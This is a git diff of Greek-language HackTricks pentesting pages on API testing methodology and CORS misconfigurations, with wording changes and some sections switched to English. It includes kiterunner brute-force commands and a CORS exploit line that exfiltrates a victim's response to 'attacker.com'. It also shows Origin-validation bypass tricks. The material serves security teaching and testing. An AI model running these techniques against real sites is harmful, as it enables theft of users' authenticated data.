Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
|
||||
|
||||
## API Pentesting Methodology Summary
|
||||
|
||||
Η δοκιμή διείσδυσης APIs περιλαμβάνει μια δομημένη προσέγγιση για την αποκάλυψη ευπαθειών. Αυτός ο οδηγός συνοψίζει μια ολοκληρωμένη μεθοδολογία, τονίζοντας πρακτικές τεχνικές και εργαλεία.
|
||||
Η pentesting APIs περιλαμβάνει μια δομημένη προσέγγιση για την αποκάλυψη ευπαθειών. Αυτός ο οδηγός συνοψίζει μια ολοκληρωμένη μεθοδολογία, τονίζοντας πρακτικές τεχνικές και εργαλεία.
|
||||
|
||||
### **Understanding API Types**
|
||||
|
||||
* **SOAP/XML Web Services**: Χρησιμοποιούν τη μορφή WSDL για τεκμηρίωση, που συνήθως βρίσκεται σε διαδρομές `?wsdl`. Εργαλεία όπως το **SOAPUI** και το **WSDLer** (Burp Suite Extension) είναι χρήσιμα για την ανάλυση και τη δημιουργία αιτημάτων. Παράδειγμα τεκμηρίωσης είναι διαθέσιμο στο [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
* **REST APIs (JSON)**: Η τεκμηρίωση συχνά έρχεται σε αρχεία WADL, ωστόσο εργαλεία όπως το [Swagger UI](https://swagger.io/tools/swagger-ui/) παρέχουν μια πιο φιλική προς το χρήστη διεπαφή για αλληλεπίδραση. Το **Postman** είναι ένα πολύτιμο εργαλείο για τη δημιουργία και τη διαχείριση παραδειγματικών αιτημάτων.
|
||||
* **SOAP/XML Web Services**: Χρησιμοποιούν τη μορφή WSDL για τεκμηρίωση, που συνήθως βρίσκεται σε διαδρομές `?wsdl`. Εργαλεία όπως το **SOAPUI** και το **WSDLer** (Burp Suite Extension) είναι χρήσιμα για την ανάλυση και τη δημιουργία αιτημάτων. Η τεκμηρίωση παραδείγματος είναι διαθέσιμη στο [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
* **REST APIs (JSON)**: Η τεκμηρίωση συχνά έρχεται σε αρχεία WADL, ωστόσο εργαλεία όπως το [Swagger UI](https://swagger.io/tools/swagger-ui/) παρέχουν μια πιο φιλική προς τον χρήστη διεπαφή για αλληλεπίδραση. Το **Postman** είναι ένα πολύτιμο εργαλείο για τη δημιουργία και τη διαχείριση παραδειγματικών αιτημάτων.
|
||||
* **GraphQL**: Μια γλώσσα ερωτήσεων για APIs που προσφέρει μια πλήρη και κατανοητή περιγραφή των δεδομένων στο API σας.
|
||||
|
||||
### **Practice Labs**
|
||||
|
@ -39,13 +39,13 @@ Get Access Today:
|
|||
### **Effective Tricks for API Pentesting**
|
||||
|
||||
* **SOAP/XML Vulnerabilities**: Εξερευνήστε τις ευπάθειες XXE, αν και οι δηλώσεις DTD συχνά περιορίζονται. Οι ετικέτες CDATA μπορεί να επιτρέπουν την εισαγωγή payload αν το XML παραμείνει έγκυρο.
|
||||
* **Privilege Escalation**: Δοκιμάστε τα endpoints με διαφορετικά επίπεδα προνομίων για να εντοπίσετε πιθανές μη εξουσιοδοτημένες προσβάσεις.
|
||||
* **Privilege Escalation**: Δοκιμάστε endpoints με διαφορετικά επίπεδα προνομίων για να εντοπίσετε πιθανές μη εξουσιοδοτημένες προσβάσεις.
|
||||
* **CORS Misconfigurations**: Εξετάστε τις ρυθμίσεις CORS για πιθανή εκμετάλλευση μέσω επιθέσεων CSRF από αυθεντικοποιημένες συνεδρίες.
|
||||
* **Endpoint Discovery**: Εκμεταλλευτείτε τα μοτίβα API για να ανακαλύψετε κρυφά endpoints. Εργαλεία όπως οι fuzzers μπορούν να αυτοματοποιήσουν αυτή τη διαδικασία.
|
||||
* **Parameter Tampering**: Πειραματιστείτε με την προσθήκη ή την αντικατάσταση παραμέτρων σε αιτήματα για να αποκτήσετε μη εξουσιοδοτημένα δεδομένα ή λειτουργίες.
|
||||
* **HTTP Method Testing**: Διαφοροποιήστε τις μεθόδους αιτημάτων (GET, POST, PUT, DELETE, PATCH) για να αποκαλύψετε απροσδόκητες συμπεριφορές ή αποκαλύψεις πληροφοριών.
|
||||
* **Content-Type Manipulation**: Εναλλάξτε μεταξύ διαφορετικών τύπων περιεχομένου (x-www-form-urlencoded, application/xml, application/json) για να δοκιμάσετε ζητήματα ανάλυσης ή ευπάθειες.
|
||||
* **Advanced Parameter Techniques**: Δοκιμάστε με απροσδόκητους τύπους δεδομένων σε payloads JSON ή πειραματιστείτε με δεδομένα XML για XXE injections. Δοκιμάστε επίσης την ρύπανση παραμέτρων και τους χαρακτήρες wildcard για ευρύτερη δοκιμή.
|
||||
* **Advanced Parameter Techniques**: Δοκιμάστε με απροσδόκητους τύπους δεδομένων σε JSON payloads ή πειραματιστείτε με XML δεδομένα για XXE injections. Δοκιμάστε επίσης την ρύπανση παραμέτρων και χαρακτήρες wildcard για ευρύτερη δοκιμή.
|
||||
* **Version Testing**: Παλαιότερες εκδόσεις API μπορεί να είναι πιο ευάλωτες σε επιθέσεις. Ελέγξτε πάντα και δοκιμάστε σε πολλές εκδόσεις API.
|
||||
|
||||
### **Tools and Resources for API Pentesting**
|
||||
|
@ -57,15 +57,16 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
|||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
* Επιπλέον εργαλεία όπως το **automatic-api-attack-tool**, **Astra** και **restler-fuzzer** προσφέρουν προσαρμοσμένες λειτουργίες για τη δοκιμή ασφάλειας API, που κυμαίνονται από προσομοίωση επιθέσεων έως fuzzing και σάρωση ευπαθειών.
|
||||
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Είναι ένα εργαλείο ασφάλειας API που ελέγχει το API σας με βάση ένα αρχείο OAS (το εργαλείο είναι γραμμένο σε rust).
|
||||
* [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): το sj είναι ένα εργαλείο γραμμής εντολών σχεδιασμένο να βοηθά στην επιθεώρηση των **εκτεθειμένων αρχείων ορισμού Swagger/OpenAPI** ελέγχοντας τα συσχετισμένα API endpoints για αδύνατη αυθεντικοποίηση. Παρέχει επίσης πρότυπα εντολών για χειροκίνητη δοκιμή ευπαθειών.
|
||||
* Πρόσθετα εργαλεία όπως το **automatic-api-attack-tool**, **Astra** και **restler-fuzzer** προσφέρουν προσαρμοσμένες λειτουργίες για τη δοκιμή ασφάλειας API, που κυμαίνονται από προσομοίωση επιθέσεων έως fuzzing και σάρωση ευπαθειών.
|
||||
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Είναι ένα εργαλείο ασφάλειας API που επιθεωρεί το API σας με βάση ένα αρχείο OAS (το εργαλείο είναι γραμμένο σε rust).
|
||||
|
||||
### **Πόροι Μάθησης και Πρακτικής**
|
||||
|
||||
* **OWASP API Security Top 10**: Απαραίτητη ανάγνωση για την κατανόηση κοινών ευπαθειών API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
* **OWASP API Security Top 10**: Βασική ανάγνωση για την κατανόηση κοινών ευπαθειών API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
* **API Security Checklist**: Μια ολοκληρωμένη λίστα ελέγχου για την ασφάλιση των APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Logger++ Filters**: Για την αναζήτηση ευπαθειών API, το Logger++ προσφέρει χρήσιμα φίλτρα ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **API Endpoints List**: Μια επιμελημένη λίστα πιθανών σημείων πρόσβασης API για δοκιμαστικούς σκοπούς ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
* **API Endpoints List**: Μια επιμελημένη λίστα πιθανών API endpoints για δοκιμαστικούς σκοπούς ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -73,14 +74,14 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) για να δημιουργήσετε και να ** αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
|
||||
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) για να δημιουργήσετε και να ** αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# CORS - Misconfigurations & Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Τι είναι το CORS;
|
||||
|
||||
Ο стандарт Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να καθορίζουν ποιος μπορεί να έχει πρόσβαση στα περιουσιακά τους στοιχεία** και **ποιοι μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
|
||||
Ο κανόνας Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να καθορίσουν ποιος μπορεί να έχει πρόσβαση στα περιουσιακά τους στοιχεία** και **ποιοι μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
|
||||
|
||||
Μια πολιτική **ίδιου προέλευσης** απαιτεί ο **διακομιστής που ζητά** έναν πόρο και ο διακομιστής που φιλοξενεί τον **πόρο** να μοιράζονται το ίδιο πρωτόκολλο (π.χ., `http://`), όνομα τομέα (π.χ., `internal-web.com`), και **θύρα** (π.χ., 80). Σύμφωνα με αυτή την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και θύρα επιτρέπεται να έχουν πρόσβαση στους πόρους.
|
||||
|
||||
|
@ -31,7 +31,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Ναι: Ιδιότυπο, τομέας και θύρα ταυτόσημα |
|
||||
| `http://normal-website.com/example2/` | Ναι: Ιδιότυπο, τομέας και θύρα ταυτόσημα |
|
||||
| `https://normal-website.com/example/` | Όχι: Διαφορετικό ιδιότυπο και θύρα |
|
||||
| `https://normal-website.com/example/` | Όχι: Διαφορετικό ιδίωτο και θύρα |
|
||||
| `http://en.normal-website.com/example/` | Όχι: Διαφορετικός τομέας |
|
||||
| `http://www.normal-website.com/example/` | Όχι: Διαφορετικός τομέας |
|
||||
| `http://normal-website.com:8080/example/` | Όχι: Διαφορετική θύρα\* |
|
||||
|
@ -46,7 +46,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### `Access-Control-Allow-Credentials` Header
|
||||
|
||||
Από **προεπιλογή**, οι διασυνδεδεμένες αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως cookies ή την κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασύνδεσης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια, ρυθμίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
|
||||
Κατά **προεπιλογή**, οι διασυνδεδεμένες αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως cookies ή την κεφαλίδα Authorization. Ωστόσο, ένας διασυνδεδεμένος διακομιστής μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια, ρυθμίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
|
||||
|
||||
Εάν ρυθμιστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
|
||||
```javascript
|
||||
|
@ -77,15 +77,15 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
```
|
||||
### CSRF Pre-flight request
|
||||
|
||||
### Κατανόηση των Προ-πτήσεων σε Διασυνοριακή Επικοινωνία
|
||||
### Understanding Pre-flight Requests in Cross-Domain Communication
|
||||
|
||||
Όταν ξεκινάτε ένα διασυνοριακό αίτημα υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας **μη τυπικής μεθόδου HTTP** (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων**, ή η χρήση μιας ειδικής **τιμής κεφαλίδας Content-Type**, μπορεί να απαιτείται μια προ-πτήση. Αυτό το προκαταρκτικό αίτημα, που εκμεταλλεύεται τη μέθοδο **`OPTIONS`**, έχει σκοπό να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου διασυνοριακού αιτήματος, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.
|
||||
Όταν ξεκινάτε ένα αίτημα διασύνδεσης μεταξύ τομέων υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας **μη τυπικής μεθόδου HTTP** (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων** ή η χρήση μιας ειδικής **τιμής κεφαλίδας Content-Type**, μπορεί να απαιτείται ένα προ-αίτημα. Αυτό το προκαταρκτικό αίτημα, που εκμεταλλεύεται τη μέθοδο **`OPTIONS`**, έχει σκοπό να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου διασυνοριακού αιτήματος, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.
|
||||
|
||||
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** απαιτεί αυτή την προ-πτήση για να προσδιορίσει τη δυνατότητα της ζητούμενης διασυνοριακής λειτουργίας, επαληθεύοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για προ-πτήση, ανατρέξτε στον εκτενή οδηγό που παρέχεται από [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** απαιτεί αυτή την προ-αίτηση για να προσδιορίσει την εφικτότητα της ζητούμενης διασυνοριακής λειτουργίας, επαληθεύοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για προ-αίτημα, ανατρέξτε στον εκτενή οδηγό που παρέχεται από [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Είναι κρίσιμο να σημειωθεί ότι **η απουσία προ-πτήσης δεν αναιρεί την απαίτηση για την απάντηση να φέρει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το διασυνοριακό αίτημα.
|
||||
Είναι κρίσιμο να σημειωθεί ότι **η απουσία προ-αίτησης δεν αναιρεί την απαίτηση για την απάντηση να φέρει κεφαλίδες εξουσιοδότησης**. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το διασυνοριακό αίτημα.
|
||||
|
||||
Σκεφτείτε την παρακάτω απεικόνιση ενός προ-πτήσης που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα που ονομάζεται `Special-Request-Header`:
|
||||
Σκεφτείτε την παρακάτω απεικόνιση ενός προ-αιτήματος που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα που ονομάζεται `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -111,10 +111,10 @@ Access-Control-Max-Age: 240
|
|||
* **`Access-Control-Request-Method`**: Αυτός ο επικεφαλής, που χρησιμοποιείται επίσης σε προ-πτήσης αιτήματα, ρυθμίζεται από τον πελάτη για να υποδείξει ποια HTTP μέθοδος θα χρησιμοποιηθεί στο πραγματικό αίτημα.
|
||||
* **`Origin`**: Αυτός ο επικεφαλής ρυθμίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του διασυνοριακού αιτήματος. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει αν το εισερχόμενο αίτημα θα πρέπει να επιτραπεί ή να απορριφθεί με βάση την πολιτική CORS.
|
||||
|
||||
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τους επικεφαλής που έχουν ρυθμιστεί) σε ένα **GET/POST αίτημα δεν αποστέλλεται κανένα προ-πτήσης αίτημα** (το αίτημα αποστέλλεται **άμεσα**), αλλά αν θέλετε να αποκτήσετε πρόσβαση στους **επικεφαλής/σώμα της απάντησης**, πρέπει να περιέχει έναν επικεφαλή _Access-Control-Allow-Origin_ που να το επιτρέπει.\
|
||||
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τους επικεφαλής που έχουν ρυθμιστεί) σε ένα **GET/POST αίτημα δεν αποστέλλεται κανένα προ-πτήσης αίτημα** (το αίτημα αποστέλλεται **άμεσα**), αλλά αν θέλετε να αποκτήσετε πρόσβαση στους **επικεφαλής/σώμα της απάντησης**, πρέπει να περιέχει έναν _Access-Control-Allow-Origin_ επικεφαλή που να το επιτρέπει.\
|
||||
**Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).**
|
||||
|
||||
### **Τοπικά Δίκτυα Αιτήματα Προ-πτήσης αίτημα**
|
||||
### **Τοπικά Δίκτυα Αιτήματα Προ-πτήσης Αίτημα**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Αυτός ο επικεφαλής περιλαμβάνεται στο αίτημα του πελάτη για να δηλώσει ότι η έρευνα απευθύνεται σε πόρο τοπικού δικτύου. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το τοπικό δίκτυο.
|
||||
2. **`Access-Control-Allow-Local-Network`**: Σε απάντηση, οι διακομιστές χρησιμοποιούν αυτόν τον επικεφαλή για να επικοινωνήσουν ότι ο ζητούμενος πόρος επιτρέπεται να κοινοποιηθεί σε οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων σε διάφορα δίκτυα, διασφαλίζοντας ελεγχόμενη πρόσβαση ενώ διατηρεί τα πρωτόκολλα ασφαλείας.
|
||||
|
@ -136,17 +136,26 @@ Content-Length: 0
|
|||
Είναι επίσης δυνατό να **παρακάμψετε τις απαιτήσεις Τοπικού Δικτύου** αν χρησιμοποιήσετε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου** (όπως η δημόσια IP του δρομολογητή). Διότι σε πολλές περιπτώσεις, ακόμη και αν η **δημόσια IP** προσπελάζεται, αν είναι **από το τοπικό δίκτυο**, η πρόσβαση θα παραχωρηθεί.
|
||||
{% endhint %}
|
||||
|
||||
## Εκμεταλλεύσιμες κακορυθμίσεις
|
||||
### Wildcards
|
||||
|
||||
Έχει παρατηρηθεί ότι η ρύθμιση του `Access-Control-Allow-Credentials` σε **`true`** είναι προαπαιτούμενο για τις περισσότερες **πραγματικές επιθέσεις**. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στέλνει διαπιστευτήρια και να διαβάζει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το όφελος από το να κάνει ο περιηγητής μια αίτηση αντί να το κάνει ο ίδιος μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη καθίσταται μη εφικτή.
|
||||
Σημειώστε ότι ακόμη και αν η παρακάτω διαμόρφωση φαίνεται πολύ επιτρεπτική:
|
||||
```bash
|
||||
Access-Control-Allow-Origin: *
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.
|
||||
|
||||
### Εξαίρεση: Εκμετάλλευση Τοποθεσίας Δικτύου ως Αυθεντικοποίηση
|
||||
## Exploitable misconfigurations
|
||||
|
||||
Υπάρχει μια εξαίρεση όπου η τοποθεσία δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιείται ως μεσολαβητής, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για πρόσβαση σε εφαρμογές intranet. Αυτή η μέθοδος έχει ομοιότητες στην επίδραση με την DNS rebinding αλλά είναι πιο απλή στην εκμετάλλευση.
|
||||
It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.
|
||||
|
||||
### Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`
|
||||
### Exception: Exploiting Network Location as Authentication
|
||||
|
||||
Το σενάριο του πραγματικού κόσμου όπου η τιμή της κεφαλίδας `Origin` αντανάκλαται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανο λόγω περιορισμών στη συνδυαστική χρήση αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ιδιαίτερα όταν ένας επιτιθέμενος χρησιμοποιεί ένα τομέα με όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
|
||||
Μια εξαίρεση υπάρχει όπου η τοποθεσία δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως μεσολαβητής, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για την πρόσβαση σε εφαρμογές intranet. Αυτή η μέθοδος έχει ομοιότητες στην επίδραση με το DNS rebinding αλλά είναι πιο απλή στην εκμετάλλευση.
|
||||
|
||||
### Reflection of `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
Το σενάριο του πραγματικού κόσμου όπου η τιμή της κεφαλίδας `Origin` αντικατοπτρίζεται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανο λόγω περιορισμών στη συνδυαστική χρήση αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισαγάγει ευπάθειες, ιδιαίτερα όταν ένας επιτιθέμενος χρησιμοποιεί ένα τομέα με όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -203,7 +212,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
|
||||
Οι προγραμματιστές συχνά εφαρμόζουν αμυντικούς μηχανισμούς για να προστατευτούν από την εκμετάλλευση CORS, επιτρέποντας μόνο σε επιτρεπόμενους τομείς να ζητούν πληροφορίες. Παρά αυτές τις προφυλάξεις, η ασφάλεια του συστήματος δεν είναι αλάνθαστη. Η παρουσία ακόμη και ενός μόνο ευάλωτου υποτομέα μέσα στους επιτρεπόμενους τομείς μπορεί να ανοίξει την πόρτα για εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).
|
||||
|
||||
Για να το εικονογραφήσουμε, εξετάστε το σενάριο όπου ένας τομέας, `requester.com`, είναι επιτρεπόμενος να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να φαίνεται κάπως έτσι:
|
||||
Για να το απεικονίσουμε, εξετάστε το σενάριο όπου ένας τομέας, `requester.com`, είναι επιτρεπόμενος να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να φαίνεται κάπως έτσι:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -213,11 +222,40 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
```
|
||||
Σε αυτή τη ρύθμιση, όλα τα υποτομείς του `requester.com` επιτρέπεται να έχουν πρόσβαση. Ωστόσο, αν ένας υποτομέας, ας πούμε `sub.requester.com`, έχει παραβιαστεί με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο `provider.com`.
|
||||
|
||||
### **Δηλητηρίαση cache από την πλευρά του διακομιστή**
|
||||
### **Ειδικοί Χαρακτήρες**
|
||||
|
||||
Η [λίστα ελέγχου παράκαμψης επικύρωσης URL](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) του PortSwigger διαπίστωσε ότι ορισμένοι περιηγητές υποστηρίζουν παράξενους χαρακτήρες μέσα στα ονόματα τομέων.
|
||||
|
||||
Ο Chrome και ο Firefox υποστηρίζουν τις κάτω παύλες `_` που μπορούν να παρακάμψουν τις κανονικές εκφράσεις που έχουν εφαρμοστεί για να επικυρώσουν την κεφαλίδα `Origin`:
|
||||
```
|
||||
GET / HTTP/2
|
||||
Cookie: <session_cookie>
|
||||
